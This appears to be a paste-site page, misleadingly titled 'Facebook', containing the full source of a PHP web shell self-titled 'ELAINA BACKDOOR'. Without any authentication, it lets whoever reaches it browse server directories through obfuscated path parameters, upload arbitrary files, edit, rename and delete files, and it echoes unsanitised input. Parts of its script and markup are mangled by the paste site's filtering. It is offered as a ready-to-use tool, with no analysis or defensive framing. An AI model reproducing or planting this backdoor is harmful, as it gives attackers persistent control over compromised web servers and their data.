Facebook
From xin jin ping, 2 Weeks ago, written in Plain Text.
Embed
Download Paste or View Raw
Hits: 134
  1. <!DOCTYPE html>
  2. &lt;html lang="en"&gt;
  3.  
  4. &lt;head&gt;
  5.     &lt;meta charset="UTF-8"&gt;
  6.     &lt;meta http-equiv="X-UA-Compatible" c&gt;
  7.     &lt;meta name="viewport" c initial-scale=1.0"&gt;
  8.     &lt;title&gt;ELAINA BACKDOOR&lt;/title&gt;
  9.     &lt;style&gt;
  10.         body {
  11.             background-image: url('https://i.ibb.co/Lg1LKLw/elaina.png');
  12.             background-size: cover;
  13.             background-repeat: no-repeat;
  14.             background-attachment: fixed;
  15.         }
  16.     &lt;/style&gt;
  17.     &lt;link href="https://cdn.jsdelivr.net/npm/[email protected]/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-GLhlTQ8iRABdZLl6O3oVMWSktQOp6b7In1Zl3/Jr59b6EGGoI1aFkw7cmDA6j6gD" crossorigin="anonymous"&gt;
  18.     &lt;link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.3.0/css/all.min.css" integrity="sha512-SzlrxWUlpfuzQ+pcUCosxcglQRNAq/DZjVsC0lE40xsADsfeQoEypE+enwcOiGjk/bSuGGKHEyjSoQ1zVisanQ==" crossorigin="anonymous" referrerpolicy="no-referrer" /&gt;
  19. &lt;/head&gt;
  20.  
  21. &lt;body&gt;
  22.  
  23.     &lt;?php
  24.     function formatSizeUnits($bytes)
  25.     {
  26.         if ($bytes >= 1073741824) {
  27.             $bytes = number_format($bytes / 1073741824, 2) . " GB";
  28.         } elseif ($bytes >= 1048576) {
  29.             $bytes = number_format($bytes / 1048576, 2) . " MB";
  30.         } elseif ($bytes >= 1024) {
  31.             $bytes = number_format($bytes / 1024, 2) . " KB";
  32.         } elseif ($bytes > 1) {
  33.             $bytes = $bytes . " bytes";
  34.         } elseif ($bytes == 1) {
  35.             $bytes = $bytes . " byte";
  36.         } else {
  37.             $bytes = "0 bytes";
  38.         }
  39.         return $bytes;
  40.     }
  41.  
  42.     function fileExtension($file)
  43.     {
  44.         return substr(strrchr($file, "."), 1);
  45.     }
  46.  
  47.     function fileIcon($file)
  48.     {
  49.         $imgs = [
  50.             "apng",
  51.             "avif",
  52.             "gif",
  53.             "jpg",
  54.             "jpeg",
  55.             "jfif",
  56.             "pjpeg",
  57.             "pjp",
  58.             "png",
  59.             "svg",
  60.             "webp",
  61.         ];
  62.         $audio = ["wav", "m4a", "m4b", "mp3", "ogg", "webm", "mpc"];
  63.         $ext = strtolower(fileExtension($file));
  64.         if ($file == "error_log") {
  65.             return '<i class="fa-sharp fa-solid fa-bug"></i> ';
  66.         } elseif ($file == ".htaccess") {
  67.             return '<i class="fa-solid fa-hammer"></i> ';
  68.         }
  69.         if ($ext == "html" || $ext == "htm") {
  70.             return '<i class="fa-brands fa-html5"></i> ';
  71.         } elseif ($ext == "php" || $ext == "phtml") {
  72.             return '<i class="fa-brands fa-php"></i> ';
  73.         } elseif (in_array($ext, $imgs)) {
  74.             return '<i class="fa-regular fa-images"></i> ';
  75.         } elseif ($ext == "css") {
  76.             return '<i class="fa-brands fa-css3"></i> ';
  77.         } elseif ($ext == "txt") {
  78.             return '<i class="fa-regular fa-file-lines"></i> ';
  79.         } elseif (in_array($ext, $audio)) {
  80.             return '<i class="fa-duotone fa-file-music"></i> ';
  81.         } elseif ($ext == "py") {
  82.             return '<i class="fa-brands fa-python"></i> ';
  83.         } elseif ($ext == "js") {
  84.             return '<i class="fa-brands fa-js"></i> ';
  85.         } else {
  86.             return '<i class="fa-solid fa-file"></i> ';
  87.         }
  88.     }
  89.  
  90.     function encodePath($path)
  91.     {
  92.         $a = ["/", "\\", ".", ":"];
  93.         $b = ["イ", "レ", "ー", "ヌ"];
  94.         return str_replace($a, $b, $path);
  95.     }
  96.  
  97.     function decodePath($path)
  98.     {
  99.         $a = ["/", "\\", ".", ":"];
  100.         $b = ["イ", "レ", "ー", "ヌ"];
  101.         return str_replace($b, $a, $path);
  102.     }
  103.  
  104.     function uploadFile&#40;$path&#41;
  105.     {
  106.         if (isset($_FILES["fileToUpload"])) {
  107.             $target_file = $path . "/" . basename($_FILES["fileToUpload"]["name"]);
  108.             return move_uploaded_file&#40;$_FILES["fileToUpload"]["tmp_name"], $target_file&#41;;
  109.         }
  110.         return false;
  111.     }
  112.  
  113.     $root_path = __DIR__;
  114.     if (isset($_GET["p"])) {
  115.         if (empty($_GET["p"])) {
  116.             $p = $root_path;
  117.         } elseif (!is_dir(decodePath($_GET["p"]))) {
  118.             echo "[removed]\nalert&#40;'Directory is Corrupted and Unreadable.'&#41;;\n[removed].replace('?');\n[removed]";
  119.         } elseif (is_dir(decodePath($_GET["p"]))) {
  120.             $p = decodePath($_GET["p"]);
  121.         }
  122.     } elseif (isset($_GET["q"])) {
  123.         if (!is_dir(decodePath($_GET["q"]))) {
  124.             echo "[removed][removed].replace('?p=');&lt;/script&gt;";
  125.         } elseif (is_dir(decodePath($_GET["q"]))) {
  126.             $p = decodePath($_GET["q"]);
  127.         }
  128.     } else {
  129.         $p = $root_path;
  130.     }
  131.     define("PATH", $p);
  132.  
  133.     echo '
  134. <nav class="navbar navbar-light">
  135.     <div class="navbar-brand">
  136.         <a href="?"><img src="https://images-wixmp-ed30a86b8c4ca887773594c2.wixmp.com/i/f77a4946-8ae3-447e-884b-97fd0e1ddb57/ddu44up-b61660b7-3748-45d0-8571-ae2731341392.png" width="30" height="30" alt=""></a>
  137.     ';
  138.  
  139.     $path = str_replace("\\", "/", PATH);
  140.     $paths = explode("/", $path);
  141.     foreach ($paths as $id => $dir_part) {
  142.         if ($dir_part == "" && $id == 0) {
  143.             $a = true;
  144.             echo "<a >/</a>";
  145.             continue;
  146.         }
  147.         if ($dir_part == "") {
  148.             continue;
  149.         }
  150.         echo ">" . $dir_part . "</a>/";
  151.     }
  152.     echo '
  153.     </div>
  154.     <div class="form-inline">
  155.         ><button class="btn btn-dark" type="button">Upload File</button></a>
  156.         <a href="?"><button type="button" class="btn btn-dark">HOME</button></a>
  157.     </div>
  158. </nav>';
  159.  
  160.     if (isset($_GET["p"])) {
  161.         if (is_readable(PATH)) {
  162.             $fetch_obj = scandir(PATH);
  163.             $folders = [];
  164.             $files = [];
  165.             foreach ($fetch_obj as $obj) {
  166.                 if ($obj == "." || $obj == "..") {
  167.                     continue;
  168.                 }
  169.                 $new_obj = PATH . "/" . $obj;
  170.                 if (is_dir($new_obj)) {
  171.                     array_push($folders, $obj);
  172.                 } elseif (is_file&#40;$new_obj&#41;) {
  173.                     array_push($files, $obj);
  174.                 }
  175.             }
  176.         }
  177.         echo '
  178. <table class="table table-hover">
  179.     <thead>
  180.         <tr>
  181.             <th scope="col">Name</th>
  182.             <th scope="col">Size</th>
  183.             <th scope="col">Modified</th>
  184.             <th scope="col">Perms</th>
  185.             <th scope="col">Actions</th>
  186.         </tr>
  187.     </thead>
  188.     <tbody>
  189.     ';
  190.         foreach ($folders as $folder) {
  191.             echo "    <tr>
  192.             <td><i class='fa-solid fa-folder'></i> <a href='?p=" . urlencode(encodePath(PATH . "/" . $folder)) . "'>" . $folder . "</a></td>
  193.             <td><b>---</b></td>
  194.             <td>" . date("F d Y H:i:s.", filemtime(PATH . "/" . $folder)) . "</td>
  195.             <td>0" . substr(decoct(fileperms(PATH . "/" . $folder)), -3) . "</a></td>
  196.             <td>
  197.             ><i class='fa-sharp fa-regular fa-pen-to-square'></i></a>
  198.             ><i class='fa fa-trash' aria-hidden='true'></i></a>
  199.             <td>
  200.         </tr>
  201.         ";
  202.         }
  203.         foreach ($files as $file) {
  204.             echo "    <tr>
  205.                 <td>" . fileIcon($file) . $file . "</td>
  206.                 <td>" . formatSizeUnits(filesize(PATH . "/" . $file)) . "</td>
  207.                 <td>" . date("F d Y H:i:s.", filemtime(PATH . "/" . $file)) . "</td>
  208.                 <td>0" . substr(decoct(fileperms(PATH . "/" . $file)), -3) . "</a></td>
  209.                 <td>
  210.                 ><i class='fa-solid fa-file-pen'></i></a>
  211.                 ><i class='fa-sharp fa-regular fa-pen-to-square'></i></a>
  212.                 ><i class='fa fa-trash' aria-hidden='true'></i></a>
  213.                 <td>
  214.             </tr>
  215.             ";
  216.         }
  217.         echo "  </tbody>
  218. </table>";
  219.     } else {
  220.         if (empty($_GET)) {
  221.             echo "[removed][removed].replace('?p=');&lt;/script&gt;";
  222.         }
  223.     }
  224.     if (isset($_GET["upload"])) {
  225.         echo '
  226.         &lt;form method="post" enctype="multipart/form-data" acti . htmlspecialchars($_SERVER["REQUEST_URI"]) . '"&gt;
  227.             Select file to upload:
  228.             &lt;input type="file" name="fileToUpload" id="fileToUpload"&gt;
  229.             &lt;input type="submit" class="btn btn-dark" value="Upload" name="upload"&gt;
  230.         &lt;/form&gt;';
  231.     }
  232.     if (isset($_GET["r"])) {
  233.         if (!empty($_GET["r"]) && isset($_GET["q"])) {
  234.             echo '
  235.             &lt;form method="post"&gt;
  236.                 Rename:
  237.                 &lt;input type="text" name="name" value="' . $_GET["r"] . '"&gt;
  238.                 &lt;input type="submit" class="btn btn-dark" value="Rename" name="rename"&gt;
  239.             &lt;/form&gt;';
  240.             if (isset($_POST["rename"])) {
  241.                 $name = PATH . "/" . $_GET["r"];
  242.                 if (rename($name, PATH . "/" . $_POST["name"])) {
  243.                     echo "[removed]alert&#40;'Renamed.'&#41;; [removed].replace('?p=" . encodePath(PATH) . "');[removed]";
  244.                 } else {
  245.                     echo "[removed]alert&#40;'Some error occurred.'&#41;; [removed].replace('?p=" . encodePath(PATH) . "');[removed]";
  246.                 }
  247.             }
  248.         }
  249.     }
  250.  
  251.     if (isset($_GET["e"])) {
  252.         if (!empty($_GET["e"]) && isset($_GET["q"])) {
  253.             $fileToEdit = PATH . "/" . $_GET["e"];
  254.             if (is_file&#40;$fileToEdit&#41; && is_readable($fileToEdit)) {
  255.                 echo '
  256.                 &lt;form method="post"&gt;
  257.                     &lt;textarea  500px; width: 90%;" name="data"&gt;' . htmlspecialchars(file_get_contents&#40;$fileToEdit&#41;) . '&lt;/textarea&gt;
  258.                     <br>
  259.                     &lt;input type="submit" class="btn btn-dark" value="Save" name="edit"&gt;
  260.                 &lt;/form&gt;';
  261.  
  262.                 if (isset($_POST["edit"])) {
  263.                     $newData = $_POST["data"];
  264.                     if (file_put_contents($fileToEdit, $newData) !== false) {
  265.                         echo "[removed]alert&#40;'Saved.'&#41;; [removed].replace('?p=" . encodePath(PATH) . "');[removed]";
  266.                     } else {
  267.                         echo "[removed]alert&#40;'Failed to save changes.'&#41;; [removed].replace('?p=" . encodePath(PATH) . "');[removed]";
  268.                     }
  269.                 }
  270.             } else {
  271.                 echo "[removed]alert&#40;'File not found or not readable.'&#41;; [removed].replace('?p=" . encodePath(PATH) . "');[removed]";
  272.             }
  273.         }
  274.     }
  275.  
  276.     if (isset($_POST["upload"])) {
  277.         if (uploadFile&#40;PATH&#41;) {
  278.             echo "<p>" . htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . " has been uploaded.</p>";
  279.         } else {
  280.             echo "<p>Sorry, there was an error uploading your file.</p>";
  281.         }
  282.     }
  283.     if (isset($_GET["d"]) && isset($_GET["q"])) {
  284.         $name = PATH . "/" . $_GET["d"];
  285.         if (is_file&#40;$name&#41;) {
  286.             if (unlink&#40;$name&#41;) {
  287.                 echo "[removed]alert&#40;'File removed.'&#41;; [removed].replace('?p=" . encodePath(PATH) . "');[removed]";
  288.             } else {
  289.                 echo "[removed]alert&#40;'Some error occurred.'&#41;; [removed].replace('?p=" . encodePath(PATH) . "');[removed]";
  290.             }
  291.         } elseif (is_dir($name)) {
  292.             if (rmdir($name) == true) {
  293.                 echo "[removed]alert&#40;'Directory removed.'&#41;; [removed].replace('?p=" . encodePath(PATH) . "');[removed]";
  294.             } else {
  295.                 echo "[removed]alert&#40;'Some error occurred.'&#41;; [removed].replace('?p=" . encodePath(PATH) . "');[removed]";
  296.             }
  297.         }
  298.     }
  299.     ?&gt;
  300.  
  301.  
  302.     [removed][removed]
  303. &lt;/body&gt;
  304.  
  305. &lt;/html&gt;
  306.